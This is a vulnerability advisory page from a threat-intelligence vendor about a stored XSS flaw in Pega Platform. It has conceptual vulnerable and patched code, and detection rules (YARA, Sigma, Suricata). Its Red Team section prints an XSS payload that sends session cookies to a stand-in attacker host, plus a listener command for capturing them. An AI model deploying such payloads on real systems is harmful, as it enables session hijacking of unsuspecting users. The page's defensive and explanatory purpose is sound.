☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-62184

CVE-2025-62184 is a Stored Cross-site Scripting (XSS) vulnerability affecting Pega Platform versions 8.
📅 PUBLISHED: 2026-03-31 17:52 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62184 is a Stored Cross-site Scripting (XSS) vulnerability affecting Pega Platform versions 8.1.0 through 25.1.0. The vulnerability resides in a user interface component and requires an administrative user with extensive access rights to exploit. The impact on Confidentiality is low, and Integrity is none. This vulnerability allows an attacker with sufficient privileges to inject malicious scripts that are stored and executed in the context of other users' browsers.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise software vulnerability in the Pega Platform.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is unusual and likely indicates that a full CVSS vector has not been assigned or published. Based on the description, the attack vector is likely Network (AV:N) since it's a web application, but the attack complexity is High (AC:H) due to the requirement for administrative privileges. The privileges required are High (PR:H), user interaction is Required (UI:R), scope is Changed (S:C), confidentiality is Low (C:L), integrity is None (I:N), and availability is None (A:N). A plausible CVSS vector would be: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:N/A:N with a base score of approximately 2.0 (Low).

Deep Dive & Mechanics

The vulnerability is a Stored XSS in a user interface component of the Pega Platform. Stored XSS occurs when user input is not properly sanitized before being stored in the database and later rendered in a web page. In this case, an administrative user with extensive access rights can inject malicious JavaScript code into a UI component. When other users (or the same admin) view the affected component, the script executes in their browser context.

The attack flow:

  1. An attacker with administrative privileges identifies a UI component that accepts user input (e.g., a text field, configuration parameter, or custom widget).
  2. The attacker injects a malicious script payload into the input field.
  3. The application stores the payload in the database without proper sanitization.
  4. When the component is rendered for any user, the script executes, potentially stealing session cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

The requirement for administrative privileges significantly reduces the attack surface, but it still poses a risk in environments where multiple administrators exist or where an attacker has compromised an admin account.

Vulnerable vs. Patched Code

Since no patch details are available, we can only describe the vulnerable pattern. The vulnerable code likely lacks proper output encoding or sanitization when rendering user-controlled data in a UI component.

Vulnerable Code Example (Conceptual Java/JSP):

// Vulnerable: Directly rendering user input without encoding
String userInput = request.getParameter("configValue");
out.println("<div>" + userInput + "</div>");

Patched Code Example (Conceptual):

// Patched: Using proper output encoding
String userInput = request.getParameter("configValue");
String encodedInput = Encode.forHtml(userInput);
out.println("<div>" + encodedInput + "</div>");

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Administrative access to a Pega Platform instance (version 8.1.0 to 25.1.0)
  • Knowledge of a UI component that accepts and renders user input

Exploitation Steps:

  1. Log in as an administrative user.
  2. Navigate to a UI component that allows configuration or custom content (e.g., a dashboard widget, custom portal, or rule form).
  3. Inject a payload such as:
    <script>alert('XSS')</script>
    
    or a more malicious payload:
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    
  4. Save the configuration.
  5. When any user views the affected component, the script executes.

Lab Setup:

  • Use a local Pega Platform installation (e.g., Pega 8.8.0) in a virtualized environment.
  • Set up a simple HTTP server to capture exfiltrated data: python3 -m http.server 8080
  • Use a browser with developer tools to inspect the DOM and verify script execution.

Blue Team

Detection Steps:

  1. Monitor for administrative users modifying UI components unexpectedly.
  2. Review application logs for unusual input patterns in configuration fields.
  3. Use web application firewalls (WAF) to detect and block XSS payloads.
  4. Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting Queries:

  • Search for <script> tags or event handlers (e.g., onerror, onload) in database fields related to UI components.
  • Look for outbound HTTP requests to unknown domains from the application server.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to suspicious domains from the Pega server.
    • Unusual Referer headers pointing to Pega UI components.
  • Host IOCs:
    • Unexpected JavaScript code in database fields (e.g., pr_data, pr_rule tables).
    • Modified UI component definitions containing script tags.
  • Application IOCs:
    • Error logs showing script execution failures.
    • User session anomalies (e.g., session tokens being used from different IPs).

Detection Engineering

YARA Rule

rule Detect_Pega_Stored_XSS_Payload {
    meta:
        description = "Detects potential stored XSS payloads in Pega Platform database exports"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62184"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $javascript_protocol = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Pega Platform Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts in Pega Platform UI components
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: pega
detection:
    selection:
        EventID: "Pega-Audit"
        Action: "Save"
        TargetType: "Rule" OR "FlowAction" OR "Section"
        NewValue|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom components
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62184 Pega Platform Stored XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict administrative access to only trusted users.
  2. Implement strict input validation and output encoding for all UI components.
  3. Apply the principle of least privilege to administrative accounts.

Long-term Fixes:

  1. Upgrade to a patched version of Pega Platform once available.
  2. Conduct a thorough code review of UI components for XSS vulnerabilities.
  3. Implement a Content Security Policy (CSP) to mitigate script execution.
  4. Use web application firewalls (WAF) to filter malicious payloads.

Workarounds:

  • Disable custom UI components that accept user input until a patch is applied.
  • Monitor administrative actions for suspicious modifications.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 9CD607822913002DBC24E8D2] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62184/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.